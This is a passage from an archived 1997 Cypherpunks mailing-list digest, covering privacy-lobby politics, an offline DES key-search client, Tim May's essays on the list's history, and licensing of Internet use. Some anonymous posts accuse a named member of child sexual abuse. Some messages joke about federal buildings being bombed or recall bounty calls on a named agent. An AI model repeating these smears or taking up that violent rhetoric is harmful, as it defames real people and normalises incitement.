for especially harsh criticism, at least not by me. I would reserve worse criticism for CDT. (Yes, I said that EFF is fucked up. So sue me. Fact is, EFF is a shadow of its former self, and is missing in action on this and most other leglislative debates. Yes, I was once a dues-paying member of the EFF, back when they were active. At least in legislative areas, that is. All of the alphabet soupers are doing nice work on court cases, e.g., CDA, Bernstein, etc., but the focus of the discussion here is on SAFE and the Internet regulation proposals, not on their lawyers.) Frankly, we've got the alphabet soup of privacy orgs in D.C. working on various compromises, and almost no strong voices in opposition. Or at least the strong voices in opposition are not being quoted. Certainly neither Cato nor the Libertarian Party are being heard widely on the SAFE and anti-spam issues. (I attribute this at least partly to lack of presence in D.C., lack of a machine to crank out press releases, lack of shmoozing with the reporters. A reporter asked me in e-mail for a comment on SAFE; she wanted to know who I was and what my affiliation was. I told her I had no affiliation, that I was just a guy out in Calfornia. She may have been expecting "Policy Director, Center for Cyberspatial Liberty Studies," or somesuch. She never got back to me. I surmise journalists and others are hung up on officious-sounding titles, which is why every lobbyist in D.C. is either a Policy Director or a President of something.) In my article/rant last night I outlined why these legislative juggernauts are rolling across America. I regret that EPIC, EFF, CDT, etc., are not doing more to oppose them. For my part, I'll donate to Bell's defense fund long before I'll donate to one of the alphabet soup. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From real at freenet.edmonton.ab.ca Mon Jun 2 10:08:39 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Tue, 3 Jun 1997 01:08:39 +0800 Subject: Firewalls In-Reply-To: <199706020614.CAA28437@dhp.com> Message-ID: On Mon, 2 Jun 1997, lucifer Anonymous Remailer wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timmy C[retin] May prefers to have sex with little kids because his own > penis is like that of a three-year-old. > > ____ > _(____)_ > _ooO_(_o__o_)_Ooo_ Timmy C[retin] May > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From vinnie at webstuff.apple.com Mon Jun 2 10:53:22 1997 From: vinnie at webstuff.apple.com (Vinnie Moscaritolo) Date: Tue, 3 Jun 1997 01:53:22 +0800 Subject: Comments on the Macintosh In-Reply-To: Message-ID: >And I could see no significant changes in going from System 7.1.3 to >7.5.3.. > >Vinnie M. tells me I should do the upgrade to System 7.6...I think I'll >pass on this for now. I agree,It's mostly bugfixes, But Tim, why can't you get it... Apple's MacOS team grew from 6 people in the 7.5.3 days to about 100 in the 7.6 8.0 release.. there are many bugfixes and performace enhancements in the 7.6 release.. and yes you should use Opentranport (at least 1.1.1 or 1.2) >.the Mac OS is of course still missing basic OS features such as... memory >>protection.) Tim,.I am suprised to hear you whining with such a liberals voice.. I always thought that demanding memory protection in an OS is a lot like demanding that the government is responsible for protecting you from anything that might go bad.. If applications are well written, then you really dont need the memory partitions in a personal computer. That is if application writers would take responsibility for thier own apps... But I guess you are right. "something must be done about those badly written applications" ..maybe we should pass a new law, it can be called the "Fineswine-May Memory Protection Act" ... maybe you should start drafting it now.. But until then Tim, you can always run mkLinux.. but I think you just really like to complain. Vinnie Moscaritolo http://www.vmeng.com/vinnie/ Fingerprint: 4FA3298150E404F2782501876EA2146A ------------------ "And someone said Hey man did ya see that? His body hit the street with such a beautiful thud.. I wonder if he knew what he was getting into... Or was he just lost in the flood?" From nobody at REPLAY.COM Mon Jun 2 11:11:17 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 3 Jun 1997 02:11:17 +0800 Subject: Meet-in-the-middle attack Message-ID: <199706021745.TAA08670@basement.replay.com> Timmy C. May sexually molests little children, farm animals, and inanimate objects. ,,, ($ $) -ooO-(_)-Ooo- Timmy C. May From shamrock at netcom.com Mon Jun 2 11:26:03 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 3 Jun 1997 02:26:03 +0800 Subject: May's Banal Rant In-Reply-To: <6333@lawprof.demon.co.uk> Message-ID: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1307 bytes Desc: not available URL: From bryce at digicash.com Mon Jun 2 11:29:13 1997 From: bryce at digicash.com (Bryce) Date: Tue, 3 Jun 1997 02:29:13 +0800 Subject: any off-line client for DES crack? Message-ID: <199706021817.UAA13019@digicash.com> I'd like to train a couple of off-the-net computers to crack DES. Unfortunately there appears to be no off-line client which uses files, so I can sneakernet a big batch of "try this keyspace" requests, leave it running for a few weeks, and then sneakernet the results back. Yeah, I could hack it myself, but I thought I'd recommend the idea to the people who are actually coordinating the searches. (Of course the user should be able to tell if the client has scored the key. Some users may well decide not to bother sneakernetting "not found" results back to the Net, but will check to see if their client won.) (In case you are worried, I am good net.citizen who trims Newsgroups: lines, is careful not to take the name of Kibo in vain, and who never trolls for newbies by posting "follow-up to this article to get free nude picture of Sandra Bullock!". So _I_, therefore, would faithfully sneakernet my "key not found" results back to the Net.) Regards, Zooko Journeyman Disclaimers follow: I am not a crook. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From rah at shipwright.com Mon Jun 2 11:38:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 3 Jun 1997 02:38:23 +0800 Subject: Rotenberg or Berman? (was Re: e$: Beltway piglets and otherbarnyard animals) In-Reply-To: Message-ID: At 1:52 am -0400 on 6/2/97, Lee Tien wrote: > >First, he led EFF to ignominious defeat with the digital telephony bill, > >and now, like some kind of political gremlin, emerging unscathed after > >engineering *that* jumbo-jet plane crash, he starts up EPIC, where he > >slipstreams no-brainer ACLU court cases like CDA to stay in the beltway > >pelleton. > > Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC. > > Bob may be thinking of Jerry Berman, who ran EFF for a few years, was > involved in its actions re Digital Telephony, and then left to start up > CDT. Woops. Damn. And I was having so much fun with that plasma cannon, too. :-). In my own defense, I have to say that it's easy to get all those net.piglets confused, with them all piled up on top of each other at the Washington sowbelly like that... Nonetheless, even if I, um, revise and extend, the offending acronymous 30 words or so, it doesn't change what I said at all in the rest of my little outburst of vitriol. It certainly doesn't change my opinion about Mr. Rotenberg, or Mr. Berman, or anyone else "fighting" for my "rights" at a rubber-chicken banquet, or at a cocktail party, or on golf junket somewhere... Dr. Froomkin, who I admire and respect very much, may call remarks like those cannibalism (nice Carib indian word, cannibal), but for myself, I prefer to think of it as Texas barbeque. :-). Here, Micheal, have some of those baby back ribs over there. I just made them myself. Just a touch of habanero in the sauce (and Pearl beer, of course) makes all the difference in the world. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From mpd at netcom.com Mon Jun 2 13:31:31 1997 From: mpd at netcom.com (Mike Duvos) Date: Tue, 3 Jun 1997 04:31:31 +0800 Subject: Guilty Verdict in Denver Show Trial Message-ID: <199706021939.MAA09926@netcom18.netcom.com> Guilty on all 11 counts, of course. Of course, once you eliminate the testimony coerced by holding witnesses for days and threatening them with the death penalty, the "bomb residue" invented by the FBI Crime Lab, and numerous other things, nothing even places the defendent at the site of the explosion, much less proves he was responsible for it. Of course, to have the correct psychological effect on the Sheeple, it is not necessary that the government convict and execute the prepetrator. Killing any government-hating militia-friendly scapegoat will do. For extra credit, let's have a pool to predict the number of federal buildings which will blow up on the day of the execution. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From tzeruch at ceddec.com Mon Jun 2 13:33:28 1997 From: tzeruch at ceddec.com (tzeruch at ceddec.com) Date: Tue, 3 Jun 1997 04:33:28 +0800 Subject: Creating a unique ID number for a dollar In-Reply-To: Message-ID: <97Jun2.161752edt.32257-1@brickwall.ceddec.com> On Mon, 2 Jun 1997, Tim May wrote: > >somewhere). Does the US Treasury issue replacement notes if the originals > >are > >damaged in printing, or does it just destroy the notes and leave it at that? > > Don't know. > > But certainly a dollar bill burned up as part of this protocol is unknown > to them, and would of course never be reprinted (print runs are obviously > done in large batches, with auto-indexing of numbers across sheets, so > "one-offs" would never be done anyway). Theoretically they will replace old currency with new currency if they can recover 75% or some such high value of the surface area. Carefully cut out the serial numbers and burn only them, then turn the damaged bills back in for replacement (or give them away for someone else to do - I think it is another one of those felonies to intentionally deface currency). You could also derive a number from the absolute time and location of the issuer with a GPS device. From tcmay at got.net Mon Jun 2 13:38:44 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 Jun 1997 04:38:44 +0800 Subject: May's Banal Rant Message-ID: This is the second in the series of articles I am forwarding from the "sublist" discussion I mentioned. Again, I am excising all pointers to the identity of the person who wished his views not be publicized. This is the longest of the articles. --Tim >Date: Mon, 2 Jun 1997 12:07:48 -0700 >To: xxxxx >From: Tim May >Subject: Re: May's Banal Rant >Cc: xxxxxx >At 11:00 AM -0700 6/2/97, xxxxx wrote: (Thanks me for not being venomous, as he had been expecting, and says he was not on the Cypherpunks list in 1993 so he doesn't recall what it was like back then.) >I can tell you that much of the discussion back then was about the precise >things I have had in my .sig all these years (the core part). And this >was during the incidents at Ruby Ridge and Waco. > >Is calling for a bounty in untraceable cash to be placed on the head of >the shooter at Ruby Ridge, one Lon Horiuchi, radical enough for you? (The >BATFags consider such threats seriously enough that Horiuchi apparently >now has a new identity, accoding to my militia friends, who say no >"Horiuchi" can be found in any current records they have searched...and >one of their sources in the Empire confirmed this.) (Says the tone of the list and of Libertarian politics is more strident than it has ever been.) >Actually, I was around during the anti-Viet Nam war days--I voted for John >Hospers of the LP in 1972, and participated in various anti-war events at >UC Santa Barbara, including a notable evening when Highway 101 was shut >down for several hours by protestors. The level of rancor between >government and others (including Libertarians) was vastly greater. > >And in 1993 the Clipper announcement was met with incredible venom on the >list. You really need to go back and read what was said about Denning, >Freeh, Kallstrom, and Herr Clinton. We even had a couple of emergency >physical meetings, and the level of sabotage discussed was far greater >than anything recently. > >Also, those "radical days" saw some very radical stuff indeed. The >anonymous posting of the corporate secrets of the traitorous company >Mykotronx helped to nuke that company. Ditto for the Clipper internal >memoranda posted to the list via remailers. > >(Nowadays we'd have a list member working for Mykotronx and urging us to >be "more reasonable.") > >Also, 1993-4 was the heyday of the Zimmermann imbroglio, and there was >much heated discussion of this. > >(Nowadays, Zimmermann wants Cypherpunks to rally behind his company's GAK >system, and he is aghast at the "anarchy" discussed on the list. He was >opposed to the libertarian ideology of the list back in '93-94 of course, >but then it suited him to have the Cypherpunks defending him. Now he views >us as impediments to his business prospects, and employees of PGP, Inc. >are now _very_ circumspect about what they write on the list.) > >I agree that there is a sense of "enough is enough" in the Cypherpunk >community these days. Everytime we turn around there are new restrictions, >new calls for censorship, new clamorings for controlling the Net, and even >new arrests. > >I disagree that the posts of today are significantly more strident than >they were in the Clipper days, or the Waco days, etc. Maybe a few comments >have sounded especially angry, but these are angry times. Again, if you >don't like the threads, start some of your own. > >I believe I'm under a fair risk of being named as a co-conspirator of >Bell's...some of my e-mail to him is probably what the cops are referring >to when they speak about using cryptography to facillitate markets in >various acts. Yes, this has made me prepare for a raid on my home, and, >yes, I have bought a couple of cases of ammunition and made sure my stuff >is ready. I don't intend to be shot in the middle of the night in the dark >as i reach for a handgun to defend myself when the "entry team" ignores >the Fourth Amendment and simply bursts into my room. > >(Lost in the modern debate about rights is how we got to this stage, to >where it is _expected_ that cops will dress in paramilitary garb (Nomex >ski masks, black clothing, carrying suppressed MP-5s) and launch raids on >the homes of suspects. No knocks on the doors, no presentation of >duly-authorized search warrants, no punishment for those who kill >innocents or others on such searches.... what a fucked up country we have >become.) (He says that many influential posters to Cypherpunks no longer post.) >I still post. That so many others don't is not my problem. (Hint: Analyze >the archives to see who used to post a lot. Many of them--in fact, >essentially _all_ of them--decreased their posting volumes long before the >comments of mine in the last few months that you seeem to think drove them >away. Look at the actual numbers.) > >For various and sundry reasons. I won't catalog them again here, even >though I've thought of some additional important reasons I left out >earlier. Maybe I'll write a new essay on how the list has changed and how >the membership taxonomy works out. (He says that I am more provocatively violent-sounding in my posts the past few months than before.) >In a few instances, yes. So? People have various views at various times. >And I'd say calling for an anonymous murder contract on Horiuchi was >pretty violent-sounding. (Such calls were not made by me, though I've >recently said the killers of Donald Scott, the Malibu doctor raided by >BATF/LA officers should be given a fair trial and if found guilty, >executed. What's "violent" about expecting the same justice for cops that >we see being applied to McVeigh, Kaczinski, and so on?) (He claims that atttention from the media and from law enforcment in the Cyphepunks list is probably greater now than in the past. Note from my comments below that I disagree with him.) >This is part of the "taxonomy of membership" I'm talking about. We get all >kinds of subscribers. Some just hit-and-run, some clueless, some seeking >support for their pet programs or products, some loonies. (If you think >TruthMonger or that Circle of Eunuchs guy is any crazier than Detweiler >was in '93-94, go back and read his stuff.) > >And in fact the media fascination with Cypherpunks was provably greater in >'92-94 than today. Think of those big cover stories in Wired, Whole Earth >Review, The Village Voice, etc. This is so for various reasons, and I >won't bemoan or applaud our current relative obscurity. (He claims that for these various reasons my voice is probably more dominant or influential than ever before--given the low volumes of posts, I might agree--and says it is too bad I am so strident.) >I am not writing that much differently than I did in earlier years, if you >check the archives. I have made very few "shoot the pigs" comments. > >(And, by the way, the period surrounding Waco and Ruby Ridge was filled >with discussions of armaments, calibers, etc. Some of the Bay Area CPs >even started a shooting club....I have not gone to any of their shoots, as >I live 100 miles south of San Francisco....plus, I have my own favorite >ranges nearby and I'm not much on teaching newbies to shoot.) > >It is true that Eric Hughes is off doing other things. John Gilmore was >never much a writer of essays, and he's now distanced himself from the >list (for obvious reasons). Hal Finney still writes, but the reasons he >writes less are obvious (job, and he's said things several times). And so >on. > >Others have left the list. Peter Wayner is gone. Carl Ellison is gone. So? >No one expected a perpetual level of interest. When I talk to Eric >(Hughes), we both shake our heads in amazement that a group we started >five years ago is still rolling along; we never set out to create a >permanent group. > >And, unlike some groups which are almost explicity centered around a >public spokesman or small cadre, the Cypherpunks group has never had a >spokesman, never had a public charter, never had a policy analysis group, >never had most of the things the alphabet soupers have had. > >We're just a virtual coffeehouse, or pub, or even Munich beerhall. Anyone >is free to comment on anything. The only attempt at censoship--the recent >one by Sandfort and Gilmore--failed miserably (and predictably) and in >fact scattered the nexus of the group to multiple sites. (The role of that >event, and the subsequent shrinkage of the list from 1200 subscribers to >just about 200 subscribers, as best I can tell, is the subject of another >essay. In my view, the attempted censorship of the list did grievous >damage to the list, and inasmuch as we don't "recruit" for new members, it >may be a long time before the list ever gets as active as it used to be, >if ever. The low posting volume tends to magnify the significance of the >posts which do appear...this is not something I see as my problem or my >responsibility to try to change.) >And it's a pity this entire discussion is not happening on the main list! > >You, xxxxx, choose to...... and to keep >your comments off the list. I know ....... but you really should >be making your comments about the list and its topics ON THE LIST! > >Isn't this obvious? You can hardly complain about my "radical" views when >you hold your counsel, can you? > >In fact, I'll respect your wish not to have your comments distributed >beyond the list you have chosen, but I plan to take my own comments, sans >your quotes, and use them as the basis of an essay to the list on these >and related topics. > >In this regard, I thank you for catalyzing some thoughts. > >--Tim May > > There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From frissell at panix.com Mon Jun 2 13:45:08 1997 From: frissell at panix.com (Duncan Frissell) Date: Tue, 3 Jun 1997 04:45:08 +0800 Subject: Net Driver's License In-Reply-To: <3.0.2.32.19970602005500.006de554@netcom13.netcom.com> Message-ID: <3.0.2.32.19970602151255.035e6b5c@panix.com> -----BEGIN PGP SIGNED MESSAGE----- >If an 'Internet drivers license' bill passed next week, it'd take at >least a year to get it repealed (probably much longer). During >that time, if the government wished to do so, it could stage any >number of provocative acts, blame them on 'Internet Terrorists', then >get James Kallstron on tv to announce that the 'Terrorists' have been >caught via their Internet Drivers Licenses. We've had telephones for more than 100 years with no "telephone driver's license". We've had letter mail for several hundred years with no "mail driver's license." We've had television for more than 60 years with no "television driver's license" (except in your commie countries like the UK. There is little chance that such a law would pass and no chance that it would be effective if it did. The Feds can't even effectively prevent the anonymous holding of driver's licenses, cars, bank accounts, credit cards, and cellular telephone accounts in America. And all of those are much easier to mandate than an Internet Driver's License. For one thing, an Internet Drivers License would require the drafting, writing, and running of encrypted authentication protocols (to deny service to non license holders) but those who control the Nets (us) couple piggyback on those same protocols to dodge licensure. Think about it. An Internet Driver's License could only license a connection not communication itself (1st Amendment) and a single Net connection can connect to a network that is big on the other side as the rest of the Net itself. Cheating is way too easy. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5MbNIVO4r4sgSPhAQFn1QQAhqE21GSZBjOt/1yeDRdLNo4i06INK62B bvHyxKVHdJqJkasWNJ2qrPA8uVliBx5Q/sQqrxK7w2usq0eaaZm7NEHQpaurIa8n 2mTdbS4LCIc1KKGjc+jBYYbGS41khvOaEwza6EZgCUJl5zZCzMd3OYr47FSP7u4i G47pefLJSI0= =e23e -----END PGP SIGNATURE----- From tcmay at got.net Mon Jun 2 13:45:13 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 Jun 1997 04:45:13 +0800 Subject: May's Banal Rant Message-ID: A member of the Cypherpunks list, who sometimes contributes articles to the list, engaged several of us in a discussion of some topics. He requested that we respect his desire not to have his opinions published, which I am honoring. However, some interesting topics were raised, and I spent a couple of hours responding. Rather than letting the points drop into the black hole of such sublists, I will post my responses here, editing out all references to his identity. Things would be so much easier if he'd just post his views to the list. I surmise that his reasons for not posting have less to do with not wanting to be associated with my views, as if that is possible in a free society, and more to do with paranoia about what his employer will think. --Tim This is my article: >Date: Mon, 2 Jun 1997 10:03:56 -0700 >To: xxxx >Subject: Re: May's Banal Rant >Cc: xxxx (He commented that I am marginalizing myself and my compatriots by my angry views. I replied:) >The list was just as "intense" in 1993, for example. Any reading of the >traffic after the Waco incident in April of that year will show this >clearly. And 1994 was also intense, what with the heated discussion of >anonymous assassination contracts, use of crypto by some associates in >White Aryan Resistance and other politically incorrect groups, and so on. > >(There was even Froomkin-described "cannibalism" that year, as the list >_exploded_ in condemnation of Jerry Berman's EFF-led sellout on the >Wiretap Bill (aka Digital Telephony, aka CALEA, etc.). In fact, this >"cannibalism" was practiced by nearly everyone outside the specific axis >which made the Grand Compromise. It is widely believed that this event led >to the flight from D.C. of EFF and its current marginal status as a mover >and shaker. (Other reasons, too, I've heard from those who were present. >I'm not claiming to be "ahead of the curve," to use Marc's >characterization, on this one. He was there, I was not. But clearly the >support of DT/CALEA had a major, traumatizing effect on EFF. ) > (He predicts that "moderate" list members will leave the list because of my articles. He says he stopped posting months ago because he saw the general trend getting worse. ) >I hadn't seen essays from you in a long time, xxxxx, nor from yyyyy. It >seems that a lot of folks have "been there, done that" on writing essays, >regardless of their ideological points of view. Even Detweiler writes very >few essays. > >Many of the former active contributors are now with crypto companies or >Internet companies in one form or another. Hal Finney is with PGP, a bunch >of folks (Barnes, Parekh, Green, Sandfort...) are with C2, some were with >xxxxxx (as you know), and so on. A bunch of others are doing security or >crypto work at the various companies, including Netscape, Intuit, >Microsoft, Excite, Qualcomm, etc. > >(There are also reasons for them to "tone down" their rhetoric. Some of >them have sent me e-mail saying they agree with my points (or disagree, as >the case may be) but do not feel comfortable posting publically, given >their present employment with these companies. This is a natural >development. Go back and read the rhetoric in 1992-5 about controversial >issues....many of the essayists of even the most controversial pieces then >are now at companies and are understandably less vocal. So?) > >Plus there have been the usual spin-off lists. Lewis McCarthy decided, I >presume, that he had internalized the political message of Cypherpunks and >wanted only a C and C++ forum, so he created "coderpunks." Perry Metzger, >certainly no stranger to libertarian ranting, decided apparently that he >wanted to control which rants got distributed so he created "cryptography." > >This is also natural. If you don't like who is left on Cypherpunks, and >who is posting, then either leave it or post the kind of stuff you'd like >to see. > >Those who never post anymore are in a poor position to criticize others >for what they post. (He claims I have marginalized myself and says he expects either no reply from me or a venomous one.) >Well, this is a response. I don't think it's venomous. It's what I think. > >It's true that there are relatively few "primer" essays on Cypherpunks >these days; the time for that was in the early years, especially the first >year. Many of those essay writers who wrote long articles on public key >systems, signatures, etc., are now in the companies mentioned above. Plus, >having already done it there is little incentive to do it again. > >So? This is the natural evolution of any community. > >I'll stop now. > >All I can say is that if you find the Cypherpunks list no longer to your >liking, the choice is obvious. Or, if you want to stay but want the >discussions moved in other directions, write articles in these directions. >You can hardly complain if you're silent. > >--Tim May > > There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Mon Jun 2 13:45:32 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 Jun 1997 04:45:32 +0800 Subject: May's Banal Rant Message-ID: And this is the third, and hopefully final for now, article forwarded from that sublist discussion this morning. As before, the comments of the other person are paraphrased. --Tim >Date: Mon, 2 Jun 1997 12:30:57 -0700 >To: xxxxx >From: Tim May >Subject: Re: May's Banal Rant >Cc: xxxxx (Expresses the view that I am smarter than Bell--damning with faint praise?--and probably will not be arrested for the sorts of activities Bell is alleged to have engaged in.) > >It depends on whether Bell is hit with "conspiracy" charges. It the >charges are limited to (alleged) Social Security Number fraud, related tax >charges, and (alleged) stink bomb charges, then I don't expect any visit >from the Federales. But, one might ask, why is Bell being held without >bail and why does the affidavit (or whatever) refer to the various other >conspiracies he is said to have been involved in? > >As for my "nuke DC" rhetoric, this is classic protected speech. In fact, >most of my comments about "50 megatons of nuclear disinfectant" and >suchlike are recognizable to anyone with any acumen as being classic "hang >the bastards" sentiment. > >(I've written more serious comments about "soft targets," expressing the >quite accurate point of view that in these perilous times, with nerve >gases being released in Tokyo subways, with truck bombs used or >almost-used, with train derailments in the West, etc., that the best >protection is to avoid living in soft targets, the "Schelling points" any >terrorist or antigovernment group would be more likely to target. In >classsic "kill the messenger" tradition, these comments are taken by some >to mean I advocate bombings of these soft targets.) (Speaks of what he views as the "discrediting" of Cypherpunks amonst businessmen, the media, crypto programmers, politiicians, lobbyists, and the general Net community.) >"Businessmen" have never liked the crypto anarchist message we have >traditionally discussed. Not since Day One. Some have tried to _use_ us, >to enlist our support, but none have liked our message. > >The "discrediting" of the Cypherpunks, now that the media knows we exist, >is unavoidable. The NRA has similarly been "discredited." (And even >factions within the NRA, notably the faction led by Charlton Heston, is >denouncing factions which argue for a strong interpretation of the Second >Amendment as "crazies." This is always the way it goes.) > (He thinks this "discrediting" will affect important projects and "good work.") >As I've said in my past messages, you should write the essays you want to >see and start the threads you want to read. > >--Tim May > My final comment. I am tempted to write up a long article analyzing how the Cypherpunks list has changed over the past 5 years, and who has been on it and off it. Maybe later. Suffice it to say for now that many people have been on the list, and then dropped off. For lots of reasons. And their reasons are not something I feel I need to worry about. They'll do what they want to do. Some graduated from school, some got crypto jobs, some decided they'd had enough, some agreed with the basic views but were ready to move on, some despised our basic outlook, some were told by their employers their subversive activities were a career impediment, some disliked the yahoos and lunatics, some wanted censorship and left when they didn't get it, some never bothered to resubscribe after being dropped for one reason or another, and so on. Life goes on. I don't worry that we "lost" Peter Wayner, or that we "lost" David Sternlight, and so on. Life goes on. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From real at freenet.edmonton.ab.ca Mon Jun 2 13:57:37 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Tue, 3 Jun 1997 04:57:37 +0800 Subject: Meet-in-the-middle attack In-Reply-To: <199706021745.TAA08670@basement.replay.com> Message-ID: On Mon, 2 Jun 1997, Anonymous wrote: I think Vulis needs each of us to send ten copies of this back to him. > Timmy C. May sexually molests little children, farm animals, and > inanimate objects. > > ,,, > ($ $) > -ooO-(_)-Ooo- Timmy C. May > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From whgiii at amaranth.com Mon Jun 2 14:04:58 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 3 Jun 1997 05:04:58 +0800 Subject: Guilty Verdict in Denver Show Trial Message-ID: <199706022049.PAA19933@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706021939.MAA09926 at netcom18.netcom.com>, on 06/02/97 at 12:39 PM, mpd at netcom.com (Mike Duvos) said: >Guilty on all 11 counts, of course. >Of course, once you eliminate the testimony coerced by holding witnesses >for days and threatening them with the death penalty, the "bomb residue" >invented by the FBI Crime Lab, and numerous other things, nothing even >places the defendent at the site of the explosion, much less proves he >was responsible for it. >Of course, to have the correct psychological effect on the Sheeple, it is >not necessary that the government convict and execute the prepetrator. >Killing any government-hating militia-friendly scapegoat will do. >For extra credit, let's have a pool to predict the number of federal >buildings which will blow up on the day of the execution. Is that how many will blow up or how many we would like to see blow up. :) - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5Mx149Co1n+aLhhAQGCaAP/SIuUCoEQyBojm5jwRdLJKqU708tCgiuc Ydu3umODusRD4AMwfW4NH8k6y30gcT8bi7Yyb8MDtqf/jrzrKJrwD3gA/RSUVV5V m5o7k7vzxs4v7eIuuaReCNCi4wc4dBdm0/9YscZ092ugT7q4b74sOj4VGqkG75M/ UkqHZDFyZ68= =m7lF -----END PGP SIGNATURE----- From jwn2 at qualcomm.com Mon Jun 2 14:08:35 1997 From: jwn2 at qualcomm.com (John W. Noerenberg) Date: Tue, 3 Jun 1997 05:08:35 +0800 Subject: US grants export license for PGP In-Reply-To: Message-ID: At 12:07 AM -0400 5/29/97, Steve wrote: >Does this mean PGP now, or soon will, supports GAK/Key Recovery? >Or is their something the article isn't saying? The grant PGP, Inc obtained from Commerce permits them to be the "exporter of record" to foreign offices of the companies listed on their application. The companies are the Fortune 100. As far as I know, this license has no requirement that PGP provide GAK. john noerenberg jwn2 at qualcomm.com -------------------------------------------------------------------- "We need not to be left alone. We need to be really bothered once in a while." -- Ray Bradbury, Farhenheit 451, 1953 -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: pgp00000.pgp Type: application/octet-stream Size: 335 bytes Desc: "PGP signature" URL: From rotenberg at epic.org Mon Jun 2 14:22:18 1997 From: rotenberg at epic.org (Marc Rotenberg) Date: Tue, 3 Jun 1997 05:22:18 +0800 Subject: May's Banal Rant In-Reply-To: <199706021800.UAA12262@digicash.com> Message-ID: I just came back from the 7th annual crypto conference that we've organized in DC. Among the people who spoke were Carl Ellison, Eric Hughes, Matt Blaze, Peter Wayner, Cindy Cohn, Bruce Schneier. (Michael Froomkin was invited, but he's been out of the country. And Whit couldn't make it cause he's finishing his book.) Like I said, Tim May et al are behind the curve. You guys preach cyber anarchy but you're really armchair activists. Marc. - For anyone interested in getting the most recent EPIC Crypto Privacy Sourcebook, we should have a notice on our web site by the end of the week. From tcmay at got.net Mon Jun 2 14:26:46 1997 From: tcmay at got.net (Tim May) Date: Tue, 3 